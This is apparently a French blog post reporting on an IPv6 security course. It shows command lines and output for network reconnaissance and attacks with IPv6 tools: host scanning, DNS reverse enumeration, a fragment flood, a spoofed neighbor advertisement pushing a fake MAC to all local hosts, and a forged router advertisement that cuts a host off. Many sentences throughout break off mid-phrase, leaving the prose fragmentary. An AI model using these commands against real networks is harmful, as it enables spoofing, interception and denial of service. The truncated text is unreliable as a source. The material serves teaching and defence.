Cette semaine, j'ai eu le plaisir de suivre le cours
«
Gont est l'auteur de plusieurs excellents RFC sur la
sécurité. La tonalité générale de son cours était plutôt
méfiante vis-à-vis d'
Mais Gont note aussi que, non seulement la migration est
inévitable, mais qu'elle a déjà commencé. Ainsi, beaucoup de
L'essentiel de la partie pratique du cours se faisait avec deux
boîtes à outils :
Le cours suit classiquement le
Ensuite, la
# flow6 -i eth1 -v --flow-label-policy -d 2001:db8:8ad9:84b1:ba27:ebff:feba:9094
...
Identifying the 'Flow ID' generation policy of the target node....
Flow Label policy: Global (predictable) constant labels, set to 00000
On voit que ce système met toujours le
# flow6 -i eth0 -v --flow-label-policy -d 2001:1900:2254:206a::50:0
...
Identifying the 'Flow ID' generation policy of the target node....
Flow Label policy: Global (predictable) labels with increments of 2202551761 (sdev: 0.500000)
Cette fois, le
12:28:58.432511 IP6 (flowlabel 0xaa187, hlim 57, next-header TCP (6) payload length: 40)
2001:41d0:1:ea44::1. 42700 > 2001:4b98:dc0:41:216:3eff:fece:1902.80:
Flags [S], cksum 0x9850 (correct), seq 1485994586, win 65535,
options [mss 1440,nop,wscale 3,sackOK,TS val 181079131 ecr 0], length 0
Cet outil, sur certains réseaux (peut-être ceux ayant plus d'un routeur), dit parfois
Autre chose amusante dans IPv6 : au lieu d'avoir un en-tête de
taille variable, comme IPv4 (avec un champ qui indique la taille de
l'en-tête, qui change selon les options IP incluses), IPv6 a un
en-tête de taille fixe, puis zéro, un ou davantage d'en-têtes
d'extension. Par exemple, si le paquet est
Une attaque en IPv4 commence souvent par un balayage
(
% ping6 -I eth0 ff02::1
PING ff02::1(ff02::1) from fe80::ba27:ebff:feba:9094 eth0: 56 data bytes
64 bytes from fe80::ba27:ebff:feba:9094: icmp_seq=1 ttl=64 time=0.232 ms
64 bytes from fe80::f6ca:e5ff:fe4d:1f41: icmp_seq=1 ttl=64 time=0.809 ms (DUP!)
64 bytes from fe80::a2f3:c1ff:fec4:5b6e: icmp_seq=1 ttl=64 time=1.77 ms (DUP!)
64 bytes from fe80::f6ec:38ff:fef0:d6f9: icmp_seq=1 ttl=64 time=8.21 ms (DUP!)
64 bytes from fe80::223:8bff:fec9:48f2: icmp_seq=1 ttl=64 time=13.0 ms (DUP!)
64 bytes from fe80::215:afff:fe7d:3de5: icmp_seq=1 ttl=64 time=172 ms (DUP!)
On découvre ainsi bien des machines, sans dépendre de la façon dont
leurs adresses sont affectées.
# scan6 -i eth1 -L
fe80::1a03:73ff:fe66:e568
fe80::f6ec:38ff:fef0:d6f9
fe80::a2f3:c1ff:fec4:5b6e
fe80::f6ca:e5ff:fe4d:1f41
fe80::ba27:ebff:feba:9094
fe80::223:8bff:fec9:48f2
fe80::215:afff:fe7d:3de5
(Vous avez noté la nouvelle, la
# scan6 -i eth1 -L -e --print-type global
2001:db8:8ad9:84b1:7111:869b:5081:e0ed @ 18:03:73:66:e5:68
2001:db8:8ad9:84b1:: @ f4:ca:e5:4d:1f:41
2001:db8:8ad9:84b1:f6ec:38ff:fef0:d6f8 @ f4:ec:38:f0:d6:f8
2001:db8:8ad9:84b1:a2f3:c1ff:fec4:5b6e @ a0:f3:c1:c4:5b:6e
2001:db8:8ad9:84b1:ba27:ebff:feba:9094 @ b8:27:eb:ba:90:94
2001:db8:8ad9:84b1:223:8bff:fec9:48f2 @ 00:23:8b:c9:48:f2
2001:db8:8ad9:84b1:e4:323a:3c73:c537 @ 00:15:af:7d:3d:e5
Cette technique ne marche que sur le réseau local. Mais scan6 peut
faire mieux. Revenons à la classification de Malone un instant. Dans
la même boîte à outils, address6 prend une adresse IP et détermine son
type :
% address6 -a 2001:7fe::80
unicast=global=global=embedded-port=unspecified
% address6 -a 2001:7fe::1
unicast=global=global=low-byte=unspecified
% address6 -a 2001:db8:2:25e::bad:dcaf
unicast=global=global=embedded-ipv4=unspecified
% address6 -a 2001:db8:8ad9:84b1:ba27:ebff:feba:9094
unicast=global=global=ieee-derived=b8-27-eb
% address6 -a 2001:db8:8ad9:84b1:7111:869b:5081:e0ed
unicast=global=global=randomized=unspecified
(Notez l'erreur de classification dans la troisième, qui aurait dû
être marquée
address6 peut aussi travailler sur un
ensemble d'adresses, pour en tirer des statistiques. Ainsi, si je
regarde les lecteurs IPv6 de ce blog (une population dont je ne
prétends pas qu'elle soit représentative de tout l'Internet) :
% zgrep -h -E '^[0-9]+:' /var/log/apache2/access.log.2.gz /var/log/apache2/access.log.3.gz \
/var/log/apache2/access.log.1 /var/log/apache2/access.log |\
awk '{print $1}' | sort | uniq | address6 -i -s
...
** IPv6 Interface IDs **
Total IIDs analyzed: 172
IEEE-based: 27 (15.70%) Low-byte: 46 (26.74%)
Embed-IPv4: 10 (5.81%) Embed-IPv4 (64): 7 (4.07%)
Embed-port: 2 (1.16%) Embed-port (r): 0 (0.00%)
ISATAP: 0 (0.00%) Byte-pattern: 2 (1.16%)
Randomized: 78 (45.35%)
Contrairement aux résultats de Malone en
% grep : root.zone | awk '{print $5}' | sort | uniq | address6 -i -s
...
** IPv6 Interface IDs **
Total IIDs analyzed: 486
IEEE-based: 2 (0.41%) Low-byte: 350 (72.02%)
Embed-IPv4: 7 (1.44%) Embed-IPv4 (64): 56 (11.52%)
Embed-port: 62 (12.76%) Embed-port (r): 0 (0.00%)
ISATAP: 0 (0.00%) Byte-pattern: 6 (1.23%)
Randomized: 3 (0.62%)
On a cette fois une grande majorité de
** IPv6 Interface IDs **
Total IIDs analyzed: 8756
IEEE-based: 1825 (20.84%) Low-byte: 4570 (52.19%)
Embed-IPv4: 79 (0.90%) Embed-IPv4 (64): 211 (2.41%)
Embed-port: 135 (1.54%) Embed-port (r): 28 (0.32%)
ISATAP: 0 (0.00%) Byte-pattern: 82 (0.94%)
Randomized: 1826 (20.85%)
Armé de cette connaissance, on peut revenir au problème du
balayage. En IPv4, l'espace est tellement petit que l'algorithme le
plus simple (la force brute) est le meilleur. En IPv6, il faut être
plus subtil. À la
# scan6 -v -i eth1 -d 2001:db8:2:25e::/64
Target address ranges (1)
2001:db8:2:25e:0-ffff:0-ffff:0-ffff:0-ffff
Alive nodes:
2001:db8:2:25e::42
...
Mais, en pratique, outre une patience d'ange, vous aurez souvent besoin
d'aider l'outil. Par exemple, si vous connaissez le type de cartes
Ethernet utilisé (beaucoup d'entreprises utilisent un seul modèle
d'ordinateurs et donc peu de modèles de cartes), vous pouvez guider
l'outil avec cette information (
# scan6 -i eth1 -v -d fc00:675:ab4:2::/64 --tgt-low-byte -r 200pps
Target address ranges (1)
fc00:675:ab4:2:0:0:0-100:0-1500
Alive nodes:
fc00:675:ab4:2::1
fc00:675:ab4:2::4:1
fc00:675:ab4:2::4:5
...
Notez que les adresses ayant les deux derniers octets non nuls sont
également trouvées (mais plus lentement : scan6 commence par ce qui est
facile). Notez l'intervalle testé (affiché par
Le code source de scan6 est également instructif. Lorsqu'on balaye, tous les paquets n'atteignent pas leur destination. Un balayeur typique va donc stocker toutes les adresses en cours de test dans un tableau, notant au fur et à mesure lesquelles ont marché. Une telle mise en œuvre serait catastrophique en IPv6 (un tableau de 2^64 entrées...). scan6 balaye donc sans redondance (un seul paquet, ne garde que les résultats positifs en mémoire), balaye une seconde fois et fusionne les résultats, et ainsi de suite.
Autre méthode pour découvrir les machines dans un réseau, par
l'énumération DNS. Il « suffit » de faire des requêtes
% dnsrevenum6 127.0.0.1 fc00:675:ab4:2::/64
Starting DNS reverse enumeration of fc00:675:ab4:2:: on server 127.0.0.1
...
Found: fc00:675:ab4:2::4:1 is ns1.foobar.example.
...
Found: fc00:675:ab4:2::4:12 is mx4.foobar.example.
Found: fc00:675:ab4:2::4:13 is mx5.foobar.example.
...
Found: fc00:675:ab4:2::4:20 is web.foobar.example.
...
Autre problème de sécurité, le suivi d'une machine. Dès qu'on a une
adresse IP stable (ou dont une partie est stable), elle peut être
utilisée pour vous suivre à la trace. La solution évidente (et
recommandée par le
Bien, passons maintenant à un sujet toujours rigolo et qui offre
plein de perspectives de bogues, la
% ping6 -c 1 -s 2000 2001:5c0:1400:a::56d
% tcpdump ...
08:07:30.906552 ip: (hlim 54, next-header Fragment (44) payload length: 1240) \
2001:db8:8ad9:84b1:ba27:ebff:feba:9094 > 2001:5c0:1400:a::56d: \
frag (0x2fe73a49:0|1232) ICMP6, echo request, length 1232, seq 1
08:07:30.913604 ip: (hlim 54, next-header Fragment (44) payload length: 784) \
2001:db8:8ad9:84b1:ba27:ebff:feba:9094 > 2001:5c0:1400:a::56d: \
frag (0x2fe73a49:1232|776)
On voit les deux fragments, de 1 240 et 784 octets. Le premier
contenait l'en-tête
Certaines attaques sont plus faciles si on peut prédire
l'identificateur de fragment utilisé (0x2fe73a49 dans l'exemple
ci-dessus). Cette prévisibilité permet par exemple l'
# frag6 --frag-id-policy -i eth1 -d 2001:db8:8ad9:84b1:1a03:73ff:fe66:e568
Identifying the 'Fragment ID' generation policy of the target node....
Fragment ID policy: Per-destination IDs with increments of 1 (sdev: 0.000000)
Ici (la cible est un noyau Linux 3.2), les identificateurs sont
prévisibles mais pour un même pair (PDC :
Fragment ID policy: Randomized IDs (Avg. inc.: 2497753097, sdev: 1449618001.141603)
Par contre, les anciens noyaux Linux avaient des identificateurs
complètement prévisibles (compteur global et pas par destination) :
Fragment ID policy: Global IDs with increments of 1 (sdev: 0.500000)
(Attention, dès qu'il y a un routeur sur le trajet, frag6 a du mal à
choisir correctement sa propre adresse IP source et vous avez intérêt
à utiliser l'option
Et les autres attaques utilisant la fragmentation ? Par exemple, pour tenter un
# frag6 -v --flood-frags 10000 -i eth0 -l -v -d fc00:1::a00:27ff:fef7:5cd2
Mais, désolé de vous décevoir, cela ne marche plus avec les systèmes
modernes, qui gèrent leur table proprement.
Bon, maintenant, passons aux attaques contre
# na6 -i eth0 -t 2001:db8:8ad9:84b1:ba27::1 -d ff02::1 -o -E 1:2:3:4:5:6 -v -l
Notez qu'on a envoyé ce paquet NDP à toutes les machines du réseau
local (
% ip -6 neighbor show
2001:db8:8ad9:84b1:ba27::1 dev eth0 lladdr 01:02:03:04:05:06 DELAY
(Sur un
Comment combat-on cette attaque ? Une solution est de mettre des
entrées statiques dans la table des voisins. (Cette technique est
conseillée dans les documents remis aux participants à des conférences
de sécurité comme NoSuchCon ou comme celle du
CCC, documents qui indiquent
l'adresse MAC du routeur officiel. Certes, c'est pour IPv4
mais rappelez-vous que le problème est exactement le même pour IPv4 et
IPv6.) Sur un BSD, cela se fait avec
Passons maintenant à un autre protocole utilisant ICMP v6 :
% rdisc6 eth0
Soliciting ff02::2 (ff02::2) on eth0...
Hop limit : 64 ( 0x40)
Stateful address conf. : No
Stateful other conf. : No
Mobile home agent : No
Router preference : medium
Neighbor discovery proxy : No
Router lifetime : 1800 (0x00000708) seconds
Reachable time : unspecified (0x00000000)
Retransmit time : unspecified (0x00000000)
Prefix : 2001:db8:8ad9:84b1::/64
On-link : Yes
Autonomous address conf.: Yes
Valid time : 86400 (0x00015180) seconds
Pref. time : 86400 (0x00015180) seconds
Recursive DNS server : 2a01:e00::2
Recursive DNS server : 2a01:e00::1
DNS servers lifetime : 600 (0x00000258) seconds
MTU : 1480 bytes (valid)
Source link-layer address: F4:CA:E5:4D:1F:41
from fe80::f6ca:e5ff:fe4d:1f41
La Freebox a donc indiqué que le préfixe de ce réseau est
L'outil ra6 permet de générer des
# ra6 -i eth1 -s fe80::f6ca:e5ff:fe4d:1f41 -d fe80::ba27:ebff:feba:9094 -c 1 -v
Lorsque
15:28:35.732604 IP6 (hlim 255, next-header ICMPv6 (58) payload length: 16) \
fe80::f6ca:e5ff:fe4d:1f41 > fe80::ba27:ebff:feba:9094: \
[icmp6 sum ok] ICMP6, router advertisement, length 16 \
hop limit 1, Flags [none], pref high, router lifetime 9000s, \
reachable time 4294967295s, retrans time 4000s
Il ne peut plus joindre les machine situées à plus d'une étape de distance :
% ping6 -n www.dns-oarc.net
...
64 bytes from 2001:4f8:3:2bc:1::8: icmp_seq=10 ttl=58 time=175 ms
64 bytes from 2001:4f8:3:2bc:1::8: icmp_seq=11 ttl=58 time=302 ms
64 bytes from 2001:4f8:3:2bc:1::8: icmp_seq=12 ttl=58 time=181 ms
From 2001:db8:8ad9:84b1:: icmp_seq=13 Time exceeded: Hop limit
From 2001:db8:8ad9:84b1:: icmp_seq=14 Time exceeded: Hop limit
From 2001:db8:8ad9:84b1:: icmp_seq=15 Time exceeded: Hop limit
ra6 permet aussi d'envoyer de faux RA (
Comment empêcher ces attaques
L'atelier de Fernando Gont couvrait également les attaques en
J'ai fait moi-même un exposé (bien plus court et sans travaux pratiques) sur la sécurité d'IPv6.